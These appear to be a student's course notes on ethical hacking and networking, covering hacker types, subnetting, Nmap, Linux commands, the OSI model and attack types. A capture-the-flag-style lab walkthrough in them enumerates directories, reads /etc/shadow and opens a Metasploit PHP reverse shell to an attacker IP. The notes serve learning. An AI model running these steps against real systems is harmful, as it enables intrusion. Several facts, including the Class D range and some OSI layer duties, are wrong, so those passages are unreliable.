Types of Hackers

1. **White Hat Hacker:**
    - Performs hacking with the permission of the organization or owner.
2. **Black Hat Hacker:**
    - Performs hacking without permission and for personal gain.
3. **Grey Hat Hacker:**
    - Performs hacking for personal gain and for ethical hacking.
4. **Script Kiddies:**
    - Individuals who use tools developed by others to perform hacking.
5. **Hacktivist:**
    - Performs hacking for a cause, mainly for political or social reasons.
6. **Professional Hacker:**
    - Performs hacking for a living, highly skilled, and creates their own tools.
7. **Malicious Hacker:**
    - Performs hacking for personal gain, highly skilled, creates their own tools, and is very dangerous.

VMware - Kali Linux Settings

Memory:

- **RAM**

Network Connection:

- **NAT:**
    - Used to convert private IP addresses to public IP addresses.
- **Bridged:**
    - Connects the virtual machine to the physical network.
- **Virtual Network:**
    - Connects the virtual machine to the virtual network.

IP Address

- **Class A:**
    - 0.0.0.0 to 127.255.255.255
- **Class B:**
    - 128.0.0.0 to 191.255.255.255
- **Class C:**
    - 192.0.0.0 to 223.255.255.255
- **Class D:**
    - 24.0.0.0 to 239.255.255.255
- **Class E:**
    - 240.0.0.0 to 255.255.255.255
- **Loopback:**
    - 127.0.0.1

Subnetting

- The process of splitting one IP address into multiple IP addresses.

Subnet Masking

- **Mask IP address:**
    - Class A: 255.0.0.0
    - Class B: 255.255.0.0
    - Class C: 255.255.255.0

Steps

1. Identify the class of the IP address.
2. Write the subnet mask of the IP address.
3. Convert the subnet mask to binary.
4. Add two 1's to the left of the ones in the binary of the subnet mask.
5. Convert the binary to decimal (New subnet mask ID).
6. Calculate IP addresses per subnet using the formula 2^n, where n is the number of zeros in the subnet mask binary.

Formulas

- **No. of IP Addresses per subnet:**

    - 2^n, where n is the number of zeros in the subnet mask binary.
- **No. of Subnets:**
    - 2^n, where n is the number of ones added.
- **No. of Hosts per subnet:**
    - `No. of IP addresses - 2`

Example

- IP Address: 192.168.10.0/26
    - Class C
    - Subnet Mask: 255.255.255.0
    - New Subnet Mask ID: 255.255.255.192
    - No. of IP Addresses: 2^6 = 64

Phases of Hacking

1. **Reconnaissance or Footprinting:**
    - Gathering information about the target.
2. **Scanning and Analysis:**
    - Scanning the target for vulnerabilities.
3. **Gaining Access:**
    - Gaining access to the target.
4. **Maintaining Access:**
    - Maintaining access to the target.
5. **Clearing Footprints:**
    - Clearing the footprints from the target.

Footprinting Tools

- **Shodan**

Flags Used in Networks

- `syn`: Synchronization - Used to establish a connection.
- `ack`: Acknowledgment - Indicates that the packet is received.
- `rst`: Reset - Used to reset the connection.
- `fin`: Finish - Used to terminate the connection.
- `urg`: Urgent - Indicates the criticality of the packet.

Basic Commands

- `ip a`
- `ifconfig`
- `ping`

Nmap

RTFM

- `man nmap` (for manual)
- `nmap -sS` (Stealth scan)
- `nmap -A <IP>` (Aggressive scan)

Basic Linux Commands

- `ls`: List files and directories.
- `ls -la`: List all files and directories, including hidden ones.
- `sudo su`: Switch to the root user.
- `sudo [command]`: Run a command as the root user.
  - Example: `sudo nmap -sS 127.0.0.1`
- `exit`: Exit from the terminal.
- `ifconfig` / `ip a` / `ifconfig`: Show network interfaces.
- `chmod`: Change mode, change permissions of a file or directory.
- `chmod +x <file>`: Give execute permission to a file.
- `chmod -x <file>`: Remove execute permission from a file.
- `chmod 777 <file>`: Give all permissions to a file.
- `touch <file>`: Create a file.
- `mkdir <directory>`: Make directory, create a directory.
- `rm -rf <file/directory>`: Remove a file or directory completely.
- `rm <file>`: Remove a file or empty directory.
- `cp <file> <destination>`: Copy a file to a destination.
- `mv <file> <destination>`: Move a file to a destination.
- `cd <directory>`: Change directory.
- `pwd`: Print working directory.
- `systemctl restart NetworkManager`: Restart network manager. (Useful when you change network settings)
- `whoami`: Print current user.
- `cat <file>`: Print contents of a file.
- `head <file>`: Print first 10 lines of a file.
- `tail <file>`: Print last 10 lines of a file.

System Hacking - SARVM

s

Step 1: Find Target IP Address

- Use `netdiscover` to discover the target IP address.
  - Example IP: `192.168.19.131`

Step 2: Directory Enumeration

- Use `gobuster` for directory enumeration.
  - Command: `gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.19.131/ -x "txt"`

Step 3: Explore System Files

- Explore important system files:
  - `/etc/passwd`: File containing the username and password of the system.
  - `/etc/shadow`: File containing the password information of the system.
  - Note: In Linux, usernames in `/etc/passwd` with values over 1000 are normal users.

Step 5: Exploit and Gain Access

- Gain reverse shell access using metasploit.
- msfconsole
  1. Use `use exploit/multi/script/web_delivery`.
  2. Set the payload to PHP reverse shell: `set payload php/meterpreter/reverse_tcp`.
  3. Set the target to PHP: `set target 1`.
  4. Set the listen host to the attacker's IP: `set lhost <IP_OF_ATTACKER>`.
  5. Set the listen port (e.g., 8888 for HTTP): `set lport 8888`.
  6. Execute the exploit: `exploit`.
  7. Copy the generated code and paste it on the target site.
  8. List sessions: `sessions`.
  9. Start the session: `sessions -i 1`.
  10. Start the shell: `shell`.
  11. Check the current user: `whoami`.
  12. Spawn a bash shell: `python3 -c 'import pty;pty.spawn("/bin/bash")'`.
      -got reverse shell
- Explore the files 13. Change directory to Desktop: `cd /home/<username>/Desktop`. 14. Print the contents of user.txt: `cat user.txt`.

Kali Commands

- `passwd <username>`: Change password of a user.
- `ssh <username>@<ip_address>`: SSH into a remote machine.
- `crunch <min_length> <max_length> <characters> > <filename>`: Generate a wordlist.

Malware Family

1. **Virus:**
    - Disrupts normal system functioning by attaching to host files.
2. **Worm:**
    - Standalone malware that replicates itself to spread to other computers.
3. **Trojan:**
    - Disguised as legitimate software to gain unauthorized access.
4. **Ransomware:**
    - Encrypts files and demands a ransom for the decryption key.
5. **Adware:**
    - Automatically displays or downloads unwanted advertising material when a user is online.
6. **Spyware:**
    - Monitors user activities and sends information to a third party without consent.
7. **Insider Attack:**
    - Malicious attack perpetrated on a network or computer system by a person with authorized system access.

OSI Model

- OSI Model is a conceptual model that characterizes the communication functions of a telecommunication system without regard to their underlying internal structure and technology.

7 Layers of OSI Model

1. Physical Layer
2. Data Link Layer
3. Network Layer
4. Transport Layer
5. Session Layer
6. Presentation Layer
7. Application Layer

1. Physical Layer

- It is the lowest layer of the OSI Model.
- It is responsible for the actual physical connection between the devices.
- It contains information in the form of bits.
- It concerns with process to process delivery.

2. Data Link Layer

- It is responsible for the node to node delivery of the message.
- The main function of this layer is to make sure data transfer is error-free.

3. Network Layer

- It is responsible for the source to destination delivery of the packet across multiple networks.

4. Transport Layer

- The data is transferred in the form of segments.
- It is responsible for the end-to-end delivery of the entire message.

5. Session Layer

- It is responsible for establishing, maintaining and terminating the connection between the local and remote application.
- It is also responsible for security by means of encryption and decryption.

6. Presentation Layer

- It is also called the translation layer.
- The data from the application layer is extracted and manipulated here.

7. Application Layer

- It is the topmost layer of the OSI Model.
- This is the layer where the data is generated.
- This layer serves as a window for the application services to access the network and for displaying the received information to the user.

CIA Triad

- CIA Triad is a model designed to guide policies for information security within an organization.

3 Components of CIA Triad

1. Confidentiality

2. Integrity

3. Availability

1. Confidentiality

- Confidentiality is the property that information is not made available or disclosed to unauthorized individuals, entities, or processes.

2. Integrity

- Integrity is the property of being whole and uncorrupted.
- Maintaining the consistency, accuracy, and trustworthiness of data over its entire life cycle.

3. Availability

- Availability is the property of being accessible and usable upon demand by an authorized entity.

Authentication

- Authentication is the process of verifying the identity of a person or device.

Methods of Authentication

- Biometric Authentication
- Single Factor Authentication
- Two Factor Authentication
- Multi Factor Authentication

Authorization

- Authorization is the process of giving someone permission to do or have something.

Subject and Object

Example

```
An **employee** is requesting access to a *resource*.<br>
**Employee** is the **subject** and *resource* is the **object**.
```

Event and Incident

- Every activity that occurs in a system is an event. An event can be a normal or an abnormal activity.

- Every event that has a negative impact on the system is an incident. (Threat to security)

169.254.1.2

- It is also called APIPA (Automatic Private IP Addressing).
- It is a private IP address.
- It is used when a device is unable to obtain an IP address from a DHCP (Dynamic Host Configuration Protocol) server.
- Every 5 minutes, the device checks for a DHCP server. If it finds one, it will obtain an IP address from the DHCP server. If it doesn't find one, it will continue to use the APIPA address.
- DHCP is used to assign IP addresses to devices on a network.

0.0.0.0

- It is used as a placeholder, or wild card IP.

1.1.1.1

- It is Cloudflare's public DNS resolver.
- It is a DNS (Domain Name System) resolver.
- It is the fastest DNS resolver in the world.

8.8.8.8

- It is Google's DNS resolver.
- It is a public IP address.

Types of Attacks

Malware

- Malware is a software that is specifically designed to disrupt, damage, or gain unauthorized access to a computer system.

Denial of Service (DoS)

- Denial of Service (DoS) is an attack that prevents legitimate users from accessing a service.

Distributed Denial of Service (DDoS)

- Distributed Denial of Service (DDoS) is an attack that prevents legitimate users from accessing a service by overwhelming the service with traffic from multiple sources.

Phishing

- Phishing is an attack that attempts to steal sensitive information by disguising as a trustworthy entity in an electronic communication.

Vishing

- Vishing is an attack that attempts to steal sensitive information by disguising as a trustworthy entity in a voice communication.

Smishing

- Smishing is an attack that attempts to steal sensitive information by disguising as a trustworthy entity in a text message.

Whaling

- Whaling is an attack that targets high-profile users, such as executives or celebrities.

Dumpster Diving

- Dumpster Diving is an physical attack that attempts to steal sensitive information by searching through trash/Dumpster/Dustbin.

Someone's trash is someone's treasure.

- It means that what is useless to someone may be valuable to someone else.

Shoulder Surfing

- Shoulder Surfing is an physical attack that attempts to steal sensitive information by looking over someone's shoulder.

Spear Phishing

- Spear Phishing is targeted phishing.

Introduction to Cloud

Public Cloud

- Public Cloud can be accessed by anyone on the internet.

Private Cloud

- Private Cloud can be accessed by a single organization or a single entity.
- It is more secure than Public Cloud.
- Stored on the organization's intranet or hosted data center.

Hybrid Cloud

- Hybrid Cloud is a combination of Public Cloud and Private Cloud.
- It is more secure than Public Cloud.

XaaS (Anything as a Service)

- XaaS is a collective term that refers to the delivery of anything as a service.